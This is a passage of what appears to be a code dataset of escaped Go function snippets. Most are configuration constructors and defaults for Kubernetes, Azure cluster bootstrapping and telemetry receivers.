&configgrpc.GRPCServerSettings{\\n\\t\\t\\t\\tNetAddr: confignet.NetAddr{\\n\\t\\t\\t\\t\\tEndpoint: defaultGRPCEndpoint,\\n\\t\\t\\t\\t\\tTransport: \\\"tcp\\\",\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\t// We almost write 0 bytes, so no need to tune WriteBufferSize.\\n\\t\\t\\t\\tReadBufferSize: 512 * 1024,\\n\\t\\t\\t},\\n\\t\\t\\tHTTP: &HTTPConfig{\\n\\t\\t\\t\\tHTTPServerSettings: &confighttp.HTTPServerSettings{\\n\\t\\t\\t\\t\\tEndpoint: defaultHTTPEndpoint,\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tTracesURLPath: defaultTracesURLPath,\\n\\t\\t\\t\\tMetricsURLPath: defaultMetricsURLPath,\\n\\t\\t\\t\\tLogsURLPath: defaultLogsURLPath,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}\\n}\",\n \"func (s *cpuSource) NewConfig() source.Config { return newDefaultConfig() }\",\n \"func newDynconfigLocal(path string) (*dynconfigLocal, error) {\\n\\td := &dynconfigLocal{\\n\\t\\tfilepath: path,\\n\\t}\\n\\n\\treturn d, nil\\n}\",\n \"func createFromResources(dp *v1alpha1.EdgeDataplane, da *v1alpha1.EdgeTraceabilityAgent) (*APIGatewayConfiguration, error) {\\n\\n\\tcfg := &APIGatewayConfiguration{\\n\\t\\tHost: dp.Spec.ApiGatewayManager.Host,\\n\\t\\tPort: int(dp.Spec.ApiGatewayManager.Port),\\n\\t\\tEnableAPICalls: da.Spec.Config.ProcessHeaders,\\n\\t\\tPollInterval: 1 * time.Minute,\\n\\t}\\n\\n\\tif dp.Spec.ApiGatewayManager.PollInterval != \\\"\\\" {\\n\\t\\tresCfgPollInterval, err := time.ParseDuration(dp.Spec.ApiGatewayManager.PollInterval)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tcfg.PollInterval = resCfgPollInterval\\n\\t}\\n\\treturn cfg, nil\\n}\",\n \"func newConfigFromString(t *testing.T, configString string) (Config, func(), error) {\\n\\ttestFs, testFsTeardown := setupTestFs()\\n\\n\\terr := afero.WriteFile(testFs, \\\"config.properties\\\", []byte(configString), 0644)\\n\\n\\tif err != nil {\\n\\t\\t// Fatal stops the goroutine before the caller can defer the teardown function\\n\\t\\t// run it manually now\\n\\t\\ttestFsTeardown()\\n\\t\\tConfigViperHook = func(v *viper.Viper) {}\\n\\n\\t\\tt.Fatal(\\\"cannot make file\\\", \\\"config.properties\\\", err)\\n\\t}\\n\\n\\tConfigViperHook = func(v *viper.Viper) {\\n\\t\\tv.SetFs(GetIndexFs())\\n\\t}\\n\\n\\tlog.DEBUG.Printf(\\\"loading config from '%s'\\\\n\\\", configString)\\n\\n\\tc, err := NewConfig(\\\"config.properties\\\")\\n\\n\\treturn c, func() {\\n\\t\\ttestFsTeardown()\\n\\t\\tConfigViperHook = func(v *viper.Viper) {}\\n\\t}, err\\n}\",\n \"func NewConfig() Config {\\n\\treturn Config{\\n\\t\\t0.0, 0.0,\\n\\t\\t4.0, 4.0,\\n\\t\\t1000, 1000,\\n\\t\\t512,\\n\\t\\t\\\"ramp.json\\\",\\n\\t\\t\\\"default.gob\\\",\\n\\t\\t\\\"output.jpg\\\",\\n\\t\\t\\\"000000\\\",\\n\\t\\t0.0, 0.0}\\n}\",\n \"func NewReconciler(m ctrl.Manager, o ...ReconcilerOption) *Reconciler {\\n\\tr := &Reconciler{\\n\\t\\tclient: m.GetClient(),\\n\\t\\tlog: logging.NewNopLogger(),\\n\\t\\trecord: event.NewNopRecorder(),\\n\\t\\tcheckers: []WorloadHealthChecker{\\n\\t\\t\\tWorkloadHealthCheckFn(CheckContainerziedWorkloadHealth),\\n\\t\\t\\tWorkloadHealthCheckFn(CheckDeploymentHealth),\\n\\t\\t\\tWorkloadHealthCheckFn(CheckStatefulsetHealth),\\n\\t\\t\\tWorkloadHealthCheckFn(CheckDaemonsetHealth),\\n\\t\\t},\\n\\t}\\n\\tfor _, ro := range o {\\n\\t\\tro(r)\\n\\t}\\n\\n\\treturn r\\n}\",\n \"func newReconciler(mgr manager.Manager, channelDescriptor *utils.ChannelDescriptor, logger logr.Logger) reconcile.Reconciler {\\n\\treturn &ReconcileDeployable{\\n\\t\\tKubeClient: mgr.GetClient(),\\n\\t\\tChannelDescriptor: channelDescriptor,\\n\\t\\tLog: logger,\\n\\t}\\n}\",\n \"func newTransportMutation(c config, op Op, opts ...transportOption) *TransportMutation {\\n\\tm := &TransportMutation{\\n\\t\\tconfig: c,\\n\\t\\top: op,\\n\\t\\ttyp: TypeTransport,\\n\\t\\tclearedFields: make(map[string]struct{}),\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt(m)\\n\\t}\\n\\treturn m\\n}\",\n \"func newDryrunOptions(streams genericclioptions.IOStreams) *dryrunOptions {\\n\\to := &dryrunOptions{\\n\\t\\tconfigFlags: genericclioptions.NewConfigFlags(false),\\n\\n\\t\\tIOStreams: streams,\\n\\t}\\n\\n\\treturn o\\n}\",\n \"func unstructuredUnsupportedConfigFromWithPrefix(rawConfig []byte, prefix []string) ([]byte, error) {\\n\\tif len(prefix) == 0 {\\n\\t\\treturn rawConfig, nil\\n\\t}\\n\\n\\tprefixedConfig := map[string]interface{}{}\\n\\tif err := json.NewDecoder(bytes.NewBuffer(rawConfig)).Decode(&prefixedConfig); err != nil {\\n\\t\\tklog.V(4).Infof(\\\"decode of existing config failed with error: %v\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tactualConfig, _, err := unstructured.NestedFieldCopy(prefixedConfig, prefix...)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn json.Marshal(actualConfig)\\n}\",\n \"func ToInternal(in *Config, old *api.Config, setVersionFields bool) (*api.Config, error) {\\n\\tc := &api.Config{}\\n\\tif old != nil {\\n\\t\\tc = old.DeepCopy()\\n\\t}\\n\\n\\t// setting c.PluginVersion = in.PluginVersion is done up-front by the plugin\\n\\t// code. It could be done here as well (gated by setVersionFields) but\\n\\t// would/should be a no-op. To simplify the logic, we don't do it.\\n\\n\\tc.ComponentLogLevel.APIServer = &in.ComponentLogLevel.APIServer\\n\\tc.ComponentLogLevel.ControllerManager = &in.ComponentLogLevel.ControllerManager\\n\\tc.ComponentLogLevel.Node = &in.ComponentLogLevel.Node\\n\\n\\tc.SecurityPatchPackages = in.SecurityPatchPackages\\n\\tc.SSHSourceAddressPrefixes = in.SSHSourceAddressPrefixes\\n\\n\\tif setVersionFields {\\n\\t\\tinVersion, found := in.Versions[c.PluginVersion]\\n\\t\\tif !found {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"version %q not found\\\", c.PluginVersion)\\n\\t\\t}\\n\\n\\t\\t// Generic offering configurables\\n\\t\\tc.ImageOffer = inVersion.ImageOffer\\n\\t\\tc.ImagePublisher = inVersion.ImagePublisher\\n\\t\\tc.ImageSKU = inVersion.ImageSKU\\n\\t\\tc.ImageVersion = inVersion.ImageVersion\\n\\n\\t\\t// Container images configuration\\n\\t\\tc.Images.AlertManager = inVersion.Images.AlertManager\\n\\t\\tc.Images.AnsibleServiceBroker = inVersion.Images.AnsibleServiceBroker\\n\\t\\tc.Images.ClusterMonitoringOperator = inVersion.Images.ClusterMonitoringOperator\\n\\t\\tc.Images.ConfigReloader = inVersion.Images.ConfigReloader\\n\\t\\tc.Images.Console = inVersion.Images.Console\\n\\t\\tc.Images.ControlPlane = inVersion.Images.ControlPlane\\n\\t\\tc.Images.Grafana = inVersion.Images.Grafana\\n\\t\\tc.Images.KubeRbacProxy = inVersion.Images.KubeRbacProxy\\n\\t\\tc.Images.KubeStateMetrics = inVersion.Images.KubeStateMetrics\\n\\t\\tc.Images.Node = inVersion.Images.Node\\n\\t\\tc.Images.NodeExporter = inVersion.Images.NodeExporter\\n\\t\\tc.Images.OAuthProxy = inVersion.Images.OAuthProxy\\n\\t\\tc.Images.Prometheus = inVersion.Images.Prometheus\\n\\t\\tc.Images.PrometheusConfigReloader = inVersion.Images.PrometheusConfigReloader\\n\\t\\tc.Images.PrometheusOperator = inVersion.Images.PrometheusOperator\\n\\t\\tc.Images.Registry = inVersion.Images.Registry\\n\\t\\tc.Images.RegistryConsole = inVersion.Images.RegistryConsole\\n\\t\\tc.Images.Router = inVersion.Images.Router\\n\\t\\tc.Images.ServiceCatalog = inVersion.Images.ServiceCatalog\\n\\t\\tc.Images.TemplateServiceBroker = inVersion.Images.TemplateServiceBroker\\n\\t\\tc.Images.WebConsole = inVersion.Images.WebConsole\\n\\n\\t\\tc.Images.Format = inVersion.Images.Format\\n\\n\\t\\tc.Images.Httpd = inVersion.Images.Httpd\\n\\t\\tc.Images.MasterEtcd = inVersion.Images.MasterEtcd\\n\\n\\t\\tc.Images.GenevaLogging = inVersion.Images.GenevaLogging\\n\\t\\tc.Images.GenevaStatsd = inVersion.Images.GenevaStatsd\\n\\t\\tc.Images.GenevaTDAgent = inVersion.Images.GenevaTDAgent\\n\\n\\t\\tc.Images.AzureControllers = inVersion.Images.AzureControllers\\n\\t\\tc.Images.Canary = inVersion.Images.Canary\\n\\t\\tc.Images.AroAdmissionController = inVersion.Images.AroAdmissionController\\n\\t\\tc.Images.EtcdBackup = inVersion.Images.EtcdBackup\\n\\t\\tc.Images.MetricsBridge = inVersion.Images.MetricsBridge\\n\\t\\tc.Images.Startup = inVersion.Images.Startup\\n\\t\\tc.Images.Sync = inVersion.Images.Sync\\n\\t\\tc.Images.TLSProxy = inVersion.Images.TLSProxy\\n\\n\\t\\tc.Images.LogAnalyticsAgent = inVersion.Images.LogAnalyticsAgent\\n\\t\\tc.Images.MetricsServer = inVersion.Images.MetricsServer\\n\\t}\\n\\n\\t// use setVersionFields to override the secrets below otherwise\\n\\t// they become un-updatable..\\n\\tif c.Certificates.GenevaLogging.Key == nil || setVersionFields {\\n\\t\\tc.Certificates.GenevaLogging.Key = in.Certificates.GenevaLogging.Key\\n\\t}\\n\\tif c.Certificates.GenevaLogging.Cert == nil || setVersionFields {\\n\\t\\tc.Certificates.GenevaLogging.Cert = in.Certificates.GenevaLogging.Cert\\n\\t}\\n\\tif c.Certificates.GenevaMetrics.Key == nil || setVersionFields {\\n\\t\\tc.Certificates.GenevaMetrics.Key = in.Certificates.GenevaMetrics.Key\\n\\t}\\n\\tif c.Certificates.GenevaMetrics.Cert == nil || setVersionFields {\\n\\t\\tc.Certificates.GenevaMetrics.Cert = in.Certificates.GenevaMetrics.Cert\\n\\t}\\n\\tif c.Certificates.PackageRepository.Key == nil || setVersionFields {\\n\\t\\tc.Certificates.PackageRepository.Key = in.Certificates.PackageRepository.Key\\n\\t}\\n\\tif c.Certificates.PackageRepository.Cert == nil || setVersionFields {\\n\\t\\tc.Certificates.PackageRepository.Cert = in.Certificates.PackageRepository.Cert\\n\\t}\\n\\n\\t// Geneva integration configurables\\n\\tif c.GenevaLoggingSector == \\\"\\\" {\\n\\t\\tc.GenevaLoggingSector = in.GenevaLoggingSector\\n\\t}\\n\\tif c.GenevaLoggingAccount == \\\"\\\" {\\n\\t\\tc.GenevaLoggingAccount = in.GenevaLoggingAccount\\n\\t}\\n\\tif c.GenevaLoggingNamespace == \\\"\\\" {\\n\\t\\tc.GenevaLoggingNamespace = in.GenevaLoggingNamespace\\n\\t}\\n\\tif c.GenevaLoggingControlPlaneAccount == \\\"\\\" {\\n\\t\\tc.GenevaLoggingControlPlaneAccount = in.GenevaLoggingControlPlaneAccount\\n\\t}\\n\\tif c.GenevaLoggingControlPlaneEnvironment == \\\"\\\" {\\n\\t\\tc.GenevaLoggingControlPlaneEnvironment = in.GenevaLoggingControlPlaneEnvironment\\n\\t}\\n\\tif c.GenevaLoggingControlPlaneRegion == \\\"\\\" {\\n\\t\\tc.GenevaLoggingControlPlaneRegion = in.GenevaLoggingControlPlaneRegion\\n\\t}\\n\\tif c.GenevaMetricsAccount == \\\"\\\" {\\n\\t\\tc.GenevaMetricsAccount = in.GenevaMetricsAccount\\n\\t}\\n\\tif c.GenevaMetricsEndpoint == \\\"\\\" {\\n\\t\\tc.GenevaMetricsEndpoint = in.GenevaMetricsEndpoint\\n\\t}\\n\\n\\tif c.Images.ImagePullSecret == nil || setVersionFields {\\n\\t\\tc.Images.ImagePullSecret = in.ImagePullSecret\\n\\t}\\n\\tif c.Images.GenevaImagePullSecret == nil || setVersionFields {\\n\\t\\tc.Images.GenevaImagePullSecret = in.GenevaImagePullSecret\\n\\t}\\n\\n\\treturn c, nil\\n}\",\n \"func defaultConfig() *config.Config {\\n\\treturn &config.Config{\\n\\t\\tTargetAnnotation: \\\"bio.terra.testing/snapshot-policy\\\",\\n\\t\\tGoogleProject: \\\"fake-project\\\",\\n\\t\\tRegion: \\\"us-central1\\\",\\n\\t}\\n}\",\n \"func baseTemplate() *datamodel.NodeBootstrappingConfiguration {\\n\\tvar (\\n\\t\\ttrueConst = true\\n\\t\\tfalseConst = false\\n\\t)\\n\\treturn &datamodel.NodeBootstrappingConfiguration{\\n\\t\\tContainerService: &datamodel.ContainerService{\\n\\t\\t\\tID: \\\"\\\",\\n\\t\\t\\tLocation: \\\"eastus\\\",\\n\\t\\t\\tName: \\\"\\\",\\n\\t\\t\\tPlan: nil,\\n\\t\\t\\tTags: map[string]string(nil),\\n\\t\\t\\tType: \\\"Microsoft.ContainerService/ManagedClusters\\\",\\n\\t\\t\\tProperties: &datamodel.Properties{\\n\\t\\t\\t\\tClusterID: \\\"\\\",\\n\\t\\t\\t\\tProvisioningState: \\\"\\\",\\n\\t\\t\\t\\tOrchestratorProfile: &datamodel.OrchestratorProfile{\\n\\t\\t\\t\\t\\tOrchestratorType: \\\"Kubernetes\\\",\\n\\t\\t\\t\\t\\tOrchestratorVersion: \\\"1.26.0\\\",\\n\\t\\t\\t\\t\\tKubernetesConfig: &datamodel.KubernetesConfig{\\n\\t\\t\\t\\t\\t\\tKubernetesImageBase: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tMCRKubernetesImageBase: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tClusterSubnet: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tNetworkPolicy: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tNetworkPlugin: \\\"kubenet\\\",\\n\\t\\t\\t\\t\\t\\tNetworkMode: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tContainerRuntime: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tMaxPods: 0,\\n\\t\\t\\t\\t\\t\\tDockerBridgeSubnet: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tDNSServiceIP: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tServiceCIDR: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tUseManagedIdentity: false,\\n\\t\\t\\t\\t\\t\\tUserAssignedID: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tUserAssignedClientID: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tCustomHyperkubeImage: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tCustomKubeProxyImage: \\\"mcr.microsoft.com/oss/kubernetes/kube-proxy:v1.26.0.1\\\",\\n\\t\\t\\t\\t\\t\\tCustomKubeBinaryURL: \\\"https://acs-mirror.azureedge.net/kubernetes/v1.26.0/binaries/kubernetes-node-linux-amd64.tar.gz\\\",\\n\\t\\t\\t\\t\\t\\tMobyVersion: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tContainerdVersion: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tWindowsNodeBinariesURL: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tWindowsContainerdURL: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tWindowsSdnPluginURL: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tUseInstanceMetadata: &trueConst,\\n\\t\\t\\t\\t\\t\\tEnableRbac: nil,\\n\\t\\t\\t\\t\\t\\tEnableSecureKubelet: nil,\\n\\t\\t\\t\\t\\t\\tPrivateCluster: nil,\\n\\t\\t\\t\\t\\t\\tGCHighThreshold: 0,\\n\\t\\t\\t\\t\\t\\tGCLowThreshold: 0,\\n\\t\\t\\t\\t\\t\\tEnableEncryptionWithExternalKms: nil,\\n\\t\\t\\t\\t\\t\\tAddons: nil,\\n\\t\\t\\t\\t\\t\\tContainerRuntimeConfig: map[string]string(nil),\\n\\t\\t\\t\\t\\t\\tControllerManagerConfig: map[string]string(nil),\\n\\t\\t\\t\\t\\t\\tSchedulerConfig: map[string]string(nil),\\n\\t\\t\\t\\t\\t\\tCloudProviderBackoffMode: \\\"v2\\\",\\n\\t\\t\\t\\t\\t\\tCloudProviderBackoff: &trueConst,\\n\\t\\t\\t\\t\\t\\tCloudProviderBackoffRetries: 6,\\n\\t\\t\\t\\t\\t\\tCloudProviderBackoffJitter: 0.0,\\n\\t\\t\\t\\t\\t\\tCloudProviderBackoffDuration: 5,\\n\\t\\t\\t\\t\\t\\tCloudProviderBackoffExponent: 0.0,\\n\\t\\t\\t\\t\\t\\tCloudProviderRateLimit: &trueConst,\\n\\t\\t\\t\\t\\t\\tCloudProviderRateLimitQPS: 10.0,\\n\\t\\t\\t\\t\\t\\tCloudProviderRateLimitQPSWrite: 10.0,\\n\\t\\t\\t\\t\\t\\tCloudProviderRateLimitBucket: 100,\\n\\t\\t\\t\\t\\t\\tCloudProviderRateLimitBucketWrite: 100,\\n\\t\\t\\t\\t\\t\\tCloudProviderDisableOutboundSNAT: &falseConst,\\n\\t\\t\\t\\t\\t\\tNodeStatusUpdateFrequency: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tLoadBalancerSku: \\\"Standard\\\",\\n\\t\\t\\t\\t\\t\\tExcludeMasterFromStandardLB: nil,\\n\\t\\t\\t\\t\\t\\tAzureCNIURLLinux: \\\"https://acs-mirror.azureedge.net/azure-cni/v1.1.8/binaries/azure-vnet-cni-linux-amd64-v1.1.8.tgz\\\",\\n\\t\\t\\t\\t\\t\\tAzureCNIURLARM64Linux: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tAzureCNIURLWindows: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tMaximumLoadBalancerRuleCount: 250,\\n\\t\\t\\t\\t\\t\\tPrivateAzureRegistryServer: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tNetworkPluginMode: \\\"\\\",\\n\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tAgentPoolProfiles: []*datamodel.AgentPoolProfile{\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tName: \\\"nodepool2\\\",\\n\\t\\t\\t\\t\\t\\tVMSize: \\\"Standard_DS1_v2\\\",\\n\\t\\t\\t\\t\\t\\tKubeletDiskType: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tWorkloadRuntime: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tDNSPrefix: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tOSType: \\\"Linux\\\",\\n\\t\\t\\t\\t\\t\\tPorts: nil,\\n\\t\\t\\t\\t\\t\\tAvailabilityProfile: \\\"VirtualMachineScaleSets\\\",\\n\\t\\t\\t\\t\\t\\tStorageProfile: \\\"ManagedDisks\\\",\\n\\t\\t\\t\\t\\t\\tVnetSubnetID: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tDistro: \\\"aks-ubuntu-containerd-18.04-gen2\\\",\\n\\t\\t\\t\\t\\t\\tCustomNodeLabels: map[string]string{\\n\\t\\t\\t\\t\\t\\t\\t\\\"kubernetes.azure.com/mode\\\": \\\"system\\\",\\n\\t\\t\\t\\t\\t\\t\\t\\\"kubernetes.azure.com/node-image-version\\\": \\\"AKSUbuntu-1804gen2containerd-2022.01.19\\\",\\n\\t\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\t\\tPreprovisionExtension: nil,\\n\\t\\t\\t\\t\\t\\tKubernetesConfig: &datamodel.KubernetesConfig{\\n\\t\\t\\t\\t\\t\\t\\tKubernetesImageBase: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tMCRKubernetesImageBase: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tClusterSubnet: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tNetworkPolicy: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tNetworkPlugin: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tNetworkMode: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tContainerRuntime: \\\"containerd\\\",\\n\\t\\t\\t\\t\\t\\t\\tMaxPods: 0,\\n\\t\\t\\t\\t\\t\\t\\tDockerBridgeSubnet: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tDNSServiceIP: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tServiceCIDR: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tUseManagedIdentity: false,\\n\\t\\t\\t\\t\\t\\t\\tUserAssignedID: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tUserAssignedClientID: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tCustomHyperkubeImage: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tCustomKubeProxyImage: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tCustomKubeBinaryURL: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tMobyVersion: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tContainerdVersion: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tWindowsNodeBinariesURL: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tWindowsContainerdURL: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tWindowsSdnPluginURL: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tUseInstanceMetadata: nil,\\n\\t\\t\\t\\t\\t\\t\\tEnableRbac: nil,\\n\\t\\t\\t\\t\\t\\t\\tEnableSecureKubelet: nil,\\n\\t\\t\\t\\t\\t\\t\\tPrivateCluster: nil,\\n\\t\\t\\t\\t\\t\\t\\tGCHighThreshold: 0,\\n\\t\\t\\t\\t\\t\\t\\tGCLowThreshold: 0,\\n\\t\\t\\t\\t\\t\\t\\tEnableEncryptionWithExternalKms: nil,\\n\\t\\t\\t\\t\\t\\t\\tAddons: nil,\\n\\t\\t\\t\\t\\t\\t\\tContainerRuntimeConfig: map[string]string(nil),\\n\\t\\t\\t\\t\\t\\t\\tControllerManagerConfig: map[string]string(nil),\\n\\t\\t\\t\\t\\t\\t\\tSchedulerConfig: map[string]string(nil),\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderBackoffMode: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderBackoff: nil,\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderBackoffRetries: 0,\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderBackoffJitter: 0.0,\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderBackoffDuration: 0,\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderBackoffExponent: 0.0,\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderRateLimit: nil,\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderRateLimitQPS: 0.0,\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderRateLimitQPSWrite: 0.0,\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderRateLimitBucket: 0,\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderRateLimitBucketWrite: 0,\\n\\t\\t\\t\\t\\t\\t\\tCloudProviderDisableOutboundSNAT: nil,\\n\\t\\t\\t\\t\\t\\t\\tNodeStatusUpdateFrequency: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tLoadBalancerSku: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tExcludeMasterFromStandardLB: nil,\\n\\t\\t\\t\\t\\t\\t\\tAzureCNIURLLinux: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tAzureCNIURLARM64Linux: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tAzureCNIURLWindows: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tMaximumLoadBalancerRuleCount: 0,\\n\\t\\t\\t\\t\\t\\t\\tPrivateAzureRegistryServer: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t\\tNetworkPluginMode: \\\"\\\",\\n\\t\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\t\\tVnetCidrs: nil,\\n\\t\\t\\t\\t\\t\\tWindowsNameVersion: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tCustomKubeletConfig: nil,\\n\\t\\t\\t\\t\\t\\tCustomLinuxOSConfig: nil,\\n\\t\\t\\t\\t\\t\\tMessageOfTheDay: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tNotRebootWindowsNode: nil,\\n\\t\\t\\t\\t\\t\\tAgentPoolWindowsProfile: nil,\\n\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tLinuxProfile: &datamodel.LinuxProfile{\\n\\t\\t\\t\\t\\tAdminUsername: \\\"azureuser\\\",\\n\\t\\t\\t\\t\\tSSH: struct {\\n\\t\\t\\t\\t\\t\\tPublicKeys []datamodel.PublicKey \\\"json:\\\\\\\"publicKeys\\\\\\\"\\\"\\n\\t\\t\\t\\t\\t}{\\n\\t\\t\\t\\t\\t\\tPublicKeys: []datamodel.PublicKey{\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tKeyData: \\\"dummysshkey\\\",\\n\\t\\t\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\tSecrets: nil,\\n\\t\\t\\t\\t\\tDistro: \\\"\\\",\\n\\t\\t\\t\\t\\tCustomSearchDomain: nil,\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tWindowsProfile: nil,\\n\\t\\t\\t\\tExtensionProfiles: nil,\\n\\t\\t\\t\\tDiagnosticsProfile: nil,\\n\\t\\t\\t\\tServicePrincipalProfile: &datamodel.ServicePrincipalProfile{\\n\\t\\t\\t\\t\\tClientID: \\\"msi\\\",\\n\\t\\t\\t\\t\\tSecret: \\\"msi\\\",\\n\\t\\t\\t\\t\\tObjectID: \\\"\\\",\\n\\t\\t\\t\\t\\tKeyvaultSecretRef: nil,\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tCertificateProfile: &datamodel.CertificateProfile{\\n\\t\\t\\t\\t\\tCaCertificate: \\\"\\\",\\n\\t\\t\\t\\t\\tAPIServerCertificate: \\\"\\\",\\n\\t\\t\\t\\t\\tClientCertificate: \\\"\\\",\\n\\t\\t\\t\\t\\tClientPrivateKey: \\\"\\\",\\n\\t\\t\\t\\t\\tKubeConfigCertificate: \\\"\\\",\\n\\t\\t\\t\\t\\tKubeConfigPrivateKey: \\\"\\\",\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tAADProfile: nil,\\n\\t\\t\\t\\tCustomProfile: nil,\\n\\t\\t\\t\\tHostedMasterProfile: &datamodel.HostedMasterProfile{\\n\\t\\t\\t\\t\\tFQDN: \\\"\\\",\\n\\t\\t\\t\\t\\tIPAddress: \\\"\\\",\\n\\t\\t\\t\\t\\tDNSPrefix: \\\"\\\",\\n\\t\\t\\t\\t\\tFQDNSubdomain: \\\"\\\",\\n\\t\\t\\t\\t\\tSubnet: \\\"\\\",\\n\\t\\t\\t\\t\\tAPIServerWhiteListRange: nil,\\n\\t\\t\\t\\t\\tIPMasqAgent: true,\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tAddonProfiles: map[string]datamodel.AddonProfile(nil),\\n\\t\\t\\t\\tFeatureFlags: nil,\\n\\t\\t\\t\\tCustomCloudEnv: nil,\\n\\t\\t\\t\\tCustomConfiguration: nil,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tCloudSpecConfig: &datamodel.AzureEnvironmentSpecConfig{\\n\\t\\t\\tCloudName: \\\"AzurePublicCloud\\\",\\n\\t\\t\\tDockerSpecConfig: datamodel.DockerSpecConfig{\\n\\t\\t\\t\\tDockerEngineRepo: \\\"https://aptdocker.azureedge.net/repo\\\",\\n\\t\\t\\t\\tDockerComposeDownloadURL: \\\"https://github.com/docker/compose/releases/download\\\",\\n\\t\\t\\t},\\n\\t\\t\\tKubernetesSpecConfig: datamodel.KubernetesSpecConfig{\\n\\t\\t\\t\\tAzureTelemetryPID: \\\"\\\",\\n\\t\\t\\t\\tKubernetesImageBase: \\\"k8s.gcr.io/\\\",\\n\\t\\t\\t\\tTillerImageBase: \\\"gcr.io/kubernetes-helm/\\\",\\n\\t\\t\\t\\tACIConnectorImageBase: \\\"microsoft/\\\",\\n\\t\\t\\t\\tMCRKubernetesImageBase: \\\"mcr.microsoft.com/\\\",\\n\\t\\t\\t\\tNVIDIAImageBase: \\\"nvidia/\\\",\\n\\t\\t\\t\\tAzureCNIImageBase: \\\"mcr.microsoft.com/containernetworking/\\\",\\n\\t\\t\\t\\tCalicoImageBase: \\\"calico/\\\",\\n\\t\\t\\t\\tEtcdDownloadURLBase: \\\"\\\",\\n\\t\\t\\t\\tKubeBinariesSASURLBase: \\\"https://acs-mirror.azureedge.net/kubernetes/\\\",\\n\\t\\t\\t\\tWindowsTelemetryGUID: \\\"fb801154-36b9-41bc-89c2-f4d4f05472b0\\\",\\n\\t\\t\\t\\tCNIPluginsDownloadURL: 